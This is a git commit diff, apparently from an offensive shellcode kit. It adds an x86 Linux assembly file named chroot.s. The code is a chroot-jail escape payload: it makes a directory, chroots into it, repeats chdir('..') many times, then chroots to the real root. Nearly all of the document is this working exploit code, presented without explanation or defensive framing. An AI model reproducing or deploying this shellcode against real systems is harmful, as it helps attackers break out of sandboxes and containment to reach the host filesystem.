diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_linux/chroot.s | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/x86_linux/chroot.s')
| -rw-r--r-- | other/shellkit/x86_linux/chroot.s | 34 |
1 files changed, 34 insertions, 0 deletions
diff --git a/other/shellkit/x86_linux/chroot.s b/other/shellkit/x86_linux/chroot.s new file mode 100644 index 0000000..dd7e878 --- /dev/null +++ b/other/shellkit/x86_linux/chroot.s | |||
| @@ -0,0 +1,34 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | |||
| 5 | cbegin: | ||
| 6 | /* mkdir AA.. */ | ||
| 7 | cdq | ||
| 8 | movl $0x73507350, %ecx | ||
| 9 | push %eax | ||
| 10 | push $0x2e2e4141 | ||
| 11 | movl %esp, %ebx | ||
| 12 | movb $0x27, %al | ||
| 13 | int $0x80 | ||
| 14 | |||
| 15 | /* chroot AA.. */ | ||
| 16 | movb $0x3d, %al | ||
| 17 | int $0x80 | ||
| 18 | |||
| 19 | /* chdir .. x 5 */ | ||
| 20 | addb $0x2, %bl | ||
| 21 | |||
| 22 | cd_loop: | ||
| 23 | incb %dl | ||
| 24 | movb $0xc, %al | ||
| 25 | int $0x80 | ||
| 26 | cmp $0x6a, %dl | ||
| 27 | jne cd_loop | ||
| 28 | |||
| 29 | /* chroot . */ | ||
| 30 | incb %bl | ||
| 31 | movb $0x3d, %al | ||
| 32 | int $0x80 | ||
| 33 | cend: | ||
| 34 | |||
